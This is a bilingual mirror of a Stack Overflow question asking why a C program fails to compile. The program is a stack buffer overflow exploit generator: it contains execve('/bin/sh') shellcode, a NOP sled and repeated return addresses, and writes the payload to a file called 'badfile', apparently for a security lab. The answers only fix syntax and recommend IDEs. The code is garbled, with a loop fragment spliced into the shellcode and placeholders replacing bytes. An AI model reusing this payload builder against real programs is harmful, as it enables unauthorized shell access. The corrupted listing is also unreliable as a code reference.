C语言 简单错误:输入结束时的预期声明或语句
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/18879707/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
simple error: expected declaration or statement at end of input
提问by clifgray
When I try to compile the following code I keep getting an error: expected declaration or statement at end of input. I realize this is usually because a bracket was missed but I can't seem to find it. I'm hoping another pair of eyes can spot the error I've been staring at it for some time now.
当我尝试编译以下代码时,我不断收到错误消息:输入结束时出现预期声明或语句。我意识到这通常是因为错过了一个支架,但我似乎找不到它。我希望另一双眼睛能发现我已经盯着它一段时间的错误。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{ // Here is the problem
buffer[buffSize - 1] = '##代码##';
x68732f2f */
"\x68""/bin" /* pushl ##代码##x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb ##代码##x0b,%al */
"\xcd\x80" /* int ##代码##x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '##代码##';
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}
回答by haccks
Problem is in this snippet
问题出在这个片段中
##代码##Change last {to }.
最后更改{为}.
回答by haccks
You forgot the terminating semicolon after the initialization of your shellcodearray.
您在shellcode数组初始化后忘记了终止分号。
回答by Ivan Aksamentov - Drop
This solution not directly answers the question, sorry. But it is much better =)
这个解决方案没有直接回答问题,抱歉。但它好多了=)
Ok, solution is to use an IDE. See:
好的,解决方案是使用IDE。看:
(obviously, most C++ IDEs supports C)
(显然,大多数 C++ IDE 都支持 C)
Just try out some of them, pick your favorite, and you will never need to ask SO-guys to fix syntax errors (they quickly go mad of this).
只需尝试其中的一些,选择你最喜欢的,你就永远不需要要求 SO-guys 修复语法错误(他们很快就会为此发疯)。
My fav is Visual Studio + Visual Assist, no any IDE even close, regarding to code typing. But it is windows only and crappy cl.exe or Intel compiler =((
我最喜欢的是 Visual Studio + Visual Assist,没有任何 IDE 甚至关闭,关于代码输入。但它只是 Windows 和蹩脚的 cl.exe 或英特尔编译器 =((
For linux, KDevelop has the best code typing helpers among all linux IDEs, in my opinion.
对于 linux,在我看来,KDevelop 拥有所有 linux IDE 中最好的代码输入助手。
Happy coding!
快乐编码!

